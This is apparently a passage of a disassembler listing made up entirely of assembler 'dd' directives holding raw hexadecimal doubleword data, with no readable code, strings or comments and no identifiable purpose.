dd 8900141Fh, 2E051043h, 1060Ch, 667F6854h, 3D53004h, 0DF6EC800h dd 0C6097D60h, 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh dd 0F61DC6FBh, 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh dd 96700AD8h, 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh dd 0A897E8ECh, 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h dd 0C8ACF047h, 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh dd 0FEEC71Dh dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h, 0B204D085h dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h dd 9CE47Dh, 0E8C28B30h, 0A73D322Ah, 16032500h, 59396491h dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h, 46BA44Dh dd 88E422h, 0A8903419h, 80282429h, 0E0103D02h, 0C0135074h dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh, 64882238h dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h dd 1CF5CD4h, 5ABB4A3Ch, 307B71ABh, 8000019Ch, 742DFC78h dd 0B8D71Eh, 135DB2A4h, 0DE2F0451h, 4F5A8000h, 0E16A88C6h dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h dd 0EB3F19A8h, 8AE705h, 0BC84A663h, 5C766AE1h, 0E810C004h dd 0FAC04607h, 12D11Bh, 47653D1Dh, 0E688554h, 8ECE3EFAh dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h, 0FC00A23Ch dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h dd 0A75D253h, 0A54494h, 0E38F8BDDh, 49F3C755h, 3CF8F970h dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h, 14008E4h dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h dd 3B63F059h, 3EC3064h, 0C429C314h, 77BB4418h, 0F622CAF0h dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh dd 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h, 7F977553h dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh, 1F0072D6h dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh, 8525E6C8h dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h, 4CE7A3B8h dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h, 0F42B2C05h dd 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h dd 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch dd 0B6D7EBE8h, 8D8157B4h, 320780E2h, 1C54B09Ch, 1E0E405Eh dd 0F194E9F5h, 154FD0FBh, 73E3B06Bh, 483C019Ah, 743E7F6h dd 670C86Fh, 44ED7900h, 5D977854h, 3484000Ah, 5817DAF9h dd 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h, 8D704C52h dd 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h, 75488555h dd 7D8AF9F6h, 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h dd 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h, 0DF034C5Ah dd 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh dd 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h, 1DC095ECh dd 750A5B9h, 16294A7Bh, 5FB43025h, 0AB0090EAh, 0C449C60Eh dd 1AD93680h, 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh dd 0FB3AE571h, 4E182Ah, 0C9825CA6h, 0F51A8D89h, 0F0FC8700h dd 5768BDA2h, 9F7A3C96h, 0F8423180h, 49BF14EAh, 1DEB1903h dd 0C388C892h, 0FB83AB90h, 57ED00Ch, 61300FB8h, 0E7E0558Dh dd 0AF918696h, 0C32D321Dh, 82C8C0CAh, 60C4A00h, 26D858Ah dd 25ECB5BBh, 18E01844h, 6E00EB2Ch, 0A7D04936h, 1D28E6h dd 1AC83C42h, 0CB24C90h, 2958241Eh, 399E82C0h, 76481730h dd 2E2D0064h, 0EB50B11Ch, 8E00BBD6h, 0BD800A65h, 0B88269h dd 203FFA6Ch, 0BADAF8Bh, 4B214E01h, 0E15E0CB3h, 0E73ECh dd 804F3332h, 6B447629h, 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h dd 0B0200B5h, 5EEB8C68h, 4500DA0Fh, 0EAFF8995h, 78E9AF74h dd 55A7011Dh, 598AC47h, 5C06607Dh, 4B00DAF2h, 2C3E20CEh dd 1D921CD2h, 0C0D5C9E9h, 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h dd 689D3B00h, 0A879AF2Fh, 1CC9043h, 0CB8588Ah, 0E4E54020h dd 0C17CA7C8h, 0AF7A4807h, 0E9C0D90Fh, 1F64F5A4h, 6629EEh dd 8F100E8Ah, 500A5ECh, 3101B9EDh, 3EA263D5h, 0D803C6Dh dd 0B4E14CDAh, 61003FECh, 0AFBC683Eh, 40DB14h, 9E97E805h dd 0F77BF6FDh, 0ECCC1112h, 14F45A00h, 0F816A037h, 0D8450084h dd 9F89AB25h, 0D97906BAh, 0B8EE6902h, 43F28D4Bh, 0B794E063h dd 10520220h, 0F3D76D7Bh, 770E8960h, 9DD96900h, 0ECE4AF02h dd 24F57945h, 4A9216h, 6ABE5A7Ch, 2C704ED1h, 4F880E00h dd 5122036Eh, 72710066h, 5660A06Dh, 64002567h, 21F8966Ch dd 79C9534Fh, 8A936734h, 458EDE1Eh, 25AFB4A0h, 0F700ABD4h dd 0EDCF16D5h, 784AEA7h, 31EFBB83h, 0B09E6039h, 0BA00280Dh dd 69B1EDE4h, 50FC60h, 1DA2838Bh, 0C64507FDh, 9012DD00h dd 0BCC8B01Ah, 21C01E11h, 22C44FACh, 0CC21F032h, 0A4D04400h dd 0D8D44086h, 0CA00189h, 12E081DCh, 0C03E719Ch, 680084E8h dd 90B48521h, 3F032ECh, 0D51AC435h, 8BD86CB0h, 0AA3C064Bh dd 0D96A9E89h, 0B6AB4580h, 0D6C447h, 0F84E2EEDh, 951B3C8h dd 70C47550h, 25290209h, 0CBAD8078h, 0FE32AD61h, 42140063h dd 50628864h, 8E676973h, 3F838A10h, 937C9C5h, 8FBC4h, 50C15C6Bh dd 0A685EF41h, 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h dd 434838CFh, 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h dd 0C819F8E9h, 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h dd 4E62B8Eh, 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h dd 0D427012Fh, 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h dd 1AEC57Ch dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h, 0A09C4Ch dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h dd 0C4548906h, 1AC812h, 91CC214Ch, 28BF48D0h, 0B6D9500h dd 5B9038Bh, 2B363D96h, 2CDFD400h, 3CD7AD8Eh, 8D711718h dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h dd 218E428Fh, 0C6E5E8h, 7DB15EBDh, 4A8513F2h, 0D70669FCh dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh, 39717064h dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh, 93054FF2h dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h, 4E7930F8h dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h, 27E853BFh dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h dd 352504A1h, 52BCE00h, 0D5D3A79Ch, 0F7BE0011h, 0E5971042h dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh dd 1C714AE0h, 0EF225Ch, 0EF42BD9Ah, 3B09D2h, 2ABCAC45h dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h, 12F1A80Bh dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch, 57006F7Fh dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h dd 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh dd 0CC0256BAh, 2566B322h, 64D7867Ah, 49E700E2h, 5614E350h dd 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch dd 21574509h, 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h dd 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h dd 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch dd 0ED00A60Eh, 401F496Eh, 754A0047h, 13836653h, 200107Dh dd 0C16AF90Ch, 7FC317h, 4B8142EBh, 2C0AD520h, 892F1301h dd 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h dd 0E319920Fh, 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h dd 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h dd 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h, 0BB400293h dd 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h dd 11F4ADD7h, 803908C4h, 4EEC4EC9h, 9884FB14h, 10146A00h dd 398F32FFh, 395BAB2Ch, 77404E1Dh, 0D920E52Ch, 307A45h dd 2D83DC05h, 0A10B40C4h, 2B6BE802h, 0E1A32341h, 77F01879h dd 0D4E00FC7h, 6CA0F82Ah, 5708E999h, 0E152F903h, 782A8CEh dd 50B814A4h, 5F9E40D5h, 64B8CA4Ch, 68F95E0Fh, 332DA083h dd 7AB4F001h, 58A7035Ah, 0B82005B5h, 0E02AAAD9h, 0FC7050C4h dd 0A5093Bh, 34058EB4h, 24F397ADh, 4F16A4h, 0E80183B8h dd 39005E33h, 980A7448h, 161506h, 20135DD1h, 0EFC138EBh dd 2FFA2400h, 34CA2EA3h, 4479030Eh, 6454231Bh, 0E26E3988h dd 52DC7C00h, 0E4DAEA32h, 33560071h, 0FB35C810h, 4002C94h dd 34301C84h, 162238h, 0EFFA8068h, 28E21065h, 3732C400h dd 0EA9DE860h, 432E00C0h, 74276E61h, 6C00201Dh, 0A64DA6Fh dd 3FC41A77h, 28731E58h, 18B22C3h, 5A9EFC08h, 0EB540584h dd 0EC1811E9h, 8D01801Ch, 0F0524F0Ch, 88C05C15h, 83420168h dd 0F1750AFAh, 7EC06EBDh, 6C9ED5h, 0FF558817h, 82297F3h dd 0EC832500h, 10111C93h, 5C01750Ch, 213B7F6h, 0C34C002Dh dd 0A80D03D6h, 18D38400h, 22155F2Fh, 6A6B0320h, 8AA2D55Ch dd 0CFA132A3h, 37F2F4AFh, 4700EAB8h, 8524F710h, 1482C7h dd 0CB560B23h, 0C47FBE4Eh, 0C07B0300h, 48C39428h, 1B2500C8h dd 0B00C5793h, 473B3140h, 224E0053h, 8126A01Ch, 0C3511FBCh dd 766DC00Bh, 482F680Ah, 1BDEFC01h, 2041A452h, 8D3BE8h dd 0B8E72490h, 89F89F5Eh, 8A0FFC30h, 0AD6D22h, 77C90576h dd 833AFBC4h, 9DF00805h, 0B240E8D4h, 1130222Ch, 7C097234h dd 9F370744h, 2079D5EAh, 0C5B55DF8h, 0C3647200h, 8870B7AAh dd 5A7C36h, 0F89838FBh, 0D9ED63E9h, 670E8900h, 87F8310h dd 0EF9200DCh, 0EB755AA9h, 5DFAC244h, 0B2A8DB00h, 0B41B2C34h dd 431C0736h, 4F8E7630h, 0E0380979h, 0B4009086h, 3EE8B0Eh dd 8482EDh, 535718EFh, 2019320Bh, 0FCA41400h, 0CDDE752Ah dd 5E40ED4h, 2C201021h, 34443088h, 0EB382000h, 0DA7E9732h dd 84F000C4h, 0B4A2EF46h, 0AA00073Dh, 0B7B63FC2h, 482A4Dh dd 31918757h, 0C39ADFA5h, 770DA900h, 49C2C6E9h, 0FC2E000Ch dd 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh, 0F037B1B5h, 7A9D5443h dd 0A1978200h, 0E4BB8335h, 72321D2Fh, 7BA6009Fh, 95431518h dd 3A24223Ah, 1F2C3C8Bh, 7E404981h, 4C09A9ABh, 40FC8Dh dd 1FF752F5h, 0B46B76FFh, 7B81100h, 7A31BC4Bh, 836C0014h dd 0FF09B068h, 0E0003D5h dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch, 0B3034F05h dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h, 0C42C9B5Dh dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh, 8E00CB4h dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah, 13FCBE0h dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h, 17BF39EBh dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h, 0E6720A78h dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h, 0D0C80122h dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh, 8BF00032h dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h, 0EC6A6093h dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh, 0AEE83EFFh dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h, 1741090Fh dd 70038557h, 29DACC0h, 76DC00E8h, 8199101Ah, 0C01DFDF3h dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h, 94287506h dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h, 740F649h dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h, 0A5583553h dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h, 0E45E1739h dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch dd 9D0065A1h, 429AC8Eh, 6A13DAh, 0A662E756h, 0A4D7471Fh dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h, 2E7FDA91h dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh, 48A680ABh dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh, 68D5200Bh dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h, 0BE41FC55h dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h dd 0CB3D6Ch, 696A2188h, 0F1FA1612h, 1F4AC800h, 3A7FF95Bh dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h, 0A5E947EDh dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h, 1CC020FCh dd 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h, 0F642AA80h dd 8A3E957Ah, 0BB3C3Eh, 0D321A2DEh, 0F67D3DF7h, 0EF540077h dd 9DAF8AFAh, 2976C24Ah, 671C1100h, 0A5BA582Ch, 68500762h dd 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh, 7730E453h dd 9117B28h, 5623F4B7h, 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h dd 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h, 3F71A108h dd 0F120AC00h, 510C3730h, 89660013h, 82F0EBC1h, 49980901h dd 7F59E012h, 0B39DE003h, 3E90F8CFh, 239A0318h, 2879AF8Bh dd 104593C0h, 0D127E00Eh, 4203800Eh, 33F7024h, 254FF066h dd 138896D5h, 1C004522h, 270520A8h, 0FF1455h, 0D55A56A4h dd 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h, 0EDCD600h dd 0D0033C50h, 83C2EC3Bh, 9055FE78h, 7C408825h, 0F2EE0044h dd 10C36003h, 4100D5E8h, 7B78F6EAh, 77FB0220h, 0F8E90033h dd 7D9A5FCh, 6EC01609h, 71E8F1E0h, 23E0E23h, 0F826112Fh dd 0B900EE21h, 60751735h, 5CCEEB8h, 9E80E56h, 4D9880D7h dd 0EB00A67Ah, 0F0752283h, 0C3312Bh, 3BD3A0D0h, 327736F2h dd 0E7B82000h, 875C48Fh, 0E30E00EFh, 122373D1h, 53005079h dd 3C4F22AEh, 2A90D4h, 2941A991h, 0D15110A5h, 4A384700h dd 5C2B590Dh, 9511000Ah, 2ABEE845h, 0C000715h, 4C78346h dd 7053AF1h, 820F1A6Dh, 707A4051h, 0BC3C6FD7h, 5200791Ch dd 0EF143065h, 0E4D0D40h, 0E3DB3110h, 0D0F71E02h, 85D275h dd 0D8FA18F2h, 5408B324h, 1E1718E1h, 40CBFEDBh, 0EAE6E297h dd 5F001EA4h, 72F8D4B5h, 0C4597Fh, 0C026FAB2h, 0E108B8BBh dd 48743B00h, 0C6DE3780h, 85CA5803h, 7AA74C72h, 2BCD0379h dd 10EB1ABBh, 6A0683F5h, 0D73529B0h, 5CA5E200h, 14F47970h dd 2462F6EEh, 0B59428h, 97D103B9h, 4000806Fh, 0FA4AEBC7h dd 1AC05Dh, 77C33BD9h, 0F23F9220h, 0ECF3CF00h, 0F7901773h dd 2BD3011Dh, 105D65D0h, 8BBD20B4h, 3A61EB4Ch, 201E00C2h dd 521572C3h, 537A3E48h, 2157F807h, 0EF64F0E2h, 0A000EEEh dd 0B075C985h, 390561Eh, 0D8DBB5F3h, 0A788DECBh, 8E12225Dh dd 0B1F4210h, 9184F740h, 80EA82h, 0FF88325h, 48202CB8h dd 0F0950200h, 0E6433C9h, 50A75C3Eh, 0D600394Ch, 407E0CE9h dd 114CFF02h, 80F0756h, 91F6482Eh, 3737566h, 0E888BA8Ch dd 0F3E8DFA3h, 44C136AFh, 27D49A6Fh, 460BFCh, 56AB2C8Dh dd 0B6E9434Ah, 23028301h, 80C3692Dh, 1932C280h, 0BC2042C7h dd 0E19D2C01h, 294A8D4Fh, 208057DAh, 94A958F4h, 0B006DC3Ah dd 2E5C34E9h, 8776032Fh, 714A0CAh, 21C7ACB8h, 0F048BA76h dd 0A3A51E5Ch, 172061C0h, 0FF64845Ah, 5E85F8h, 0BBB3274Ah dd 2E4BEC59h, 0C4102307h, 9A102B74h, 344975h, 143A7E39h dd 27C3950Fh, 9421AF00h, 22F19DCAh, 93371F5Bh, 0BC6380BFh dd 4F52740Fh, 1EA23907h, 8880103Dh, 16971Ah, 0C27043B4h dd 0E9BBE837h, 125A7100h, 0E8FEF50h, 0D868001Ch, 0B3EA42D3h dd 0A44CB421h, 0B12002Ch, 702EDD1h, 0E2B90083h, 58694A6Ch dd 0C5005F28h, 5D898F5Ch, 7CF9531Fh, 79A000A8h, 168E4212h dd 4000738Dh, 0E86D28EBh, 30E18h, 468A109Ch, 6492074Fh dd 0C7215400h, 896FD2FFh, 269000ACh, 2481F505h, 7F00EA80h dd 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h, 0A43E0ABh, 47B00270h dd 9005821h, 6AF8E2E9h, 1616851Fh, 1553C08h, 0F2064369h dd 0A5EEE012h, 0C9032707h dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h dd 31222F4h, 5CC3FD3Bh, 391C4A1Dh, 24CE4043h, 2DD8E83Dh dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h dd 8E49C097h, 20009DBh, 8078BEFCh, 424412h, 0FE79B7E4h dd 387450DAh, 1353126h, 9992803Bh, 0C2D4717Eh, 24DD005Bh dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h, 63000A65h dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h, 8C38600Bh dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h dd 112FC53h, 1C2693F4h, 0F4E7AA85h, 73013B1Fh, 8819826Dh dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh dd 3E6A5F00h, 2437C48h, 18271E99h, 82007C55h, 6132A98h dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh, 4A00C0EFh dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 